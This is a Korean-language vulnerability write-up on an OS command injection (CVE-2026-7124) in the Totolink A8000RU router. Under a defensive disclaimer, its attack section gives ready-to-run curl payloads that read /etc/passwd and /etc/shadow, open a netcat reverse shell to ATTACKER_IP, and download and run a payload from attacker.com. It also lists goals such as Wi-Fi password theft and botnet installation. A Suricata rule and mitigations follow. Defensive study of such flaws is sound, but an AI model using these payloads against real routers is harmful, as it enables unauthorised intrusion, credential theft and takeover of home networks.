⚠️ 주의: 본 분석은 교육 및 방어 목적으로만 제공됩니다. 여기 설명된 기술을 무단으로 시스템에 사용하는 것은 불법입니다.
기본 원리: OS 명령어 주입이란
OS 명령어 주입은 애플리케이션이 사용자 입력을 운영체제 명령에 포함시킬 때 발생합니다. 라우터 같은 임베디드 장치는 IPv6 설정, 네트워크 관리 등을 위해 OS 명령을 자주 호출하며, 입력 검증이 없으면 공격자가 임의의 명령을 실행할 수 있습니다.
IPv6 설정의 경우, 장치 설정 과정에서 ip6tables, radvd, dhcp6c 같은 IPv6 관련 도구를 호출하는 것이 일반적입니다. 이러한 호출 과정에서 사용자 입력을 직접 명령어에 포함시키면 OS 명령 주입 취약점이 발생합니다.
취약점 상세
CVE-2026-7124는 Totolink A8000RU 라우터의 IPv6 LAN 설정 기능에서 발견된 OS 명령어 주입 취약점입니다.
| 항목 | 내용 |
|---|---|
| 영향 장치 | Totolink A8000RU 7.1cu.643_b20200521 |
| 취약 파일 | /cgi-bin/cstecgi.cgi |
| 취약 함수 | setIpv6LanCfg |
| 공격 벡터 | 네트워크 (원격), 인증 불필요 |
| CVSS 점수 | 9.8 (CRITICAL) |
setIpv6LanCfg 함수는 라우터의 IPv6 LAN 인터페이스 설정을 담당합니다. IPv6 활성화 여부나 관련 설정 파라미터가 OS 명령에 직접 삽입되어 임의의 명령 실행이 가능합니다.
공격 시나리오
공격 전제 조건
- 대상 Totolink A8000RU에 네트워크 접근 가능 (내부망 또는 인터넷 직접 노출)
- 펌웨어 버전 7.1cu.643_b20200521 실행 중
단계별 공격 흐름
1단계: 취약 장치 식별
# Shodan 검색으로 Totolink A8000RU 식별
shodan search 'Totolink A8000RU http.favicon.hash:-xxxxxxxx'
# 또는 nmap으로 배너 확인
nmap -sV -p 80,443,8080 --script http-title TARGET_IP
2단계: 기본 명령 주입 테스트
# 명령 실행 가능 여부 확인
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setIpv6LanCfg&ipv6Enable=1;id"
응답에 uid=0(root) 같은 내용이 포함되면 취약점이 확인됩니다.
3단계: 시스템 정보 수집
# 패스워드 파일 읽기
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setIpv6LanCfg&ipv6Enable=1;cat /etc/passwd"
# 쉐도우 파일 읽기 (해시 탈취)
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setIpv6LanCfg&ipv6Enable=1;cat /etc/shadow"
# 실행 중인 프로세스 확인
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setIpv6LanCfg&ipv6Enable=1;ps"
4단계: 리버스 쉘 연결
# 공격자 서버에서 리스너 실행
nc -lvnp 4444
# 라우터에서 리버스 쉘 실행 (netcat)
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
-d "action=setIpv6LanCfg&ipv6Enable=128;nc -e /bin/sh ATTACKER_IP 4444"
5단계: 악성 페이로드 다운로드 및 설치
# wget으로 악성 스크립트 다운로드 후 실행
curl -X POST "http://TARGET_IP/cgi-bin/cstecgi.cgi" \
--data-urlencode "action=setIpv6LanCfg" \
--data-urlencode "ipv6Enable=1;wget http://attacker.com/payload -O /tmp/p && chmod +x /tmp/p && /tmp/p"
공격 후 가능한 행동
- 전체 라우터 설정 덤프 및 탈취
- WPA/WPA2 Wi-Fi 비밀번호 탈취 (
cat /etc/config/wireless) - DNS 설정 변경으로 피싱 공격
- 라우터를 C&C(Command and Control) 서버의 프록시로 활용
- 봇넷 에이전트 설치 및 내부망 추가 침투
탐지 방법
IDS 시그니처
# Suricata 규칙
alert http any any -> $HOME_NET any (
msg: "CVE-2026-7124 Totolink setIpv6LanCfg Command Injection";
content: "setIpv6LanCfg";
http_client_body;
sid: 20267124;
)
시스템 이상 징후
- CPU/메모리 사용량 급증
- 알 수 없는 외부 IP와의 지속적 TCP 연결
- DNS 응답의 비정상적인 변경
/tmp디렉토리에 새로운 실행 파일 생성
대응 방법
즉시 조치
- 최신 펌웨어 업데이트 — Totolink 공식 사이트에서 패치된 펌웨어 확인 및 적용
- WAN 측 관리 접근 차단 — 외부에서 라우터 관리 페이지 접근 불가하도록 방화벽 설정
- 방화벽 규칙 강화 — 라우터 관리 포트를 내부 신뢰 IP로만 제한
재발 방지
- 정기적인 펌웨어 업데이트 모니터링
- 네트워크 장치 보안 감사 정책 수립
- IoT/임베디드 장치 보안 관리 솔루션 도입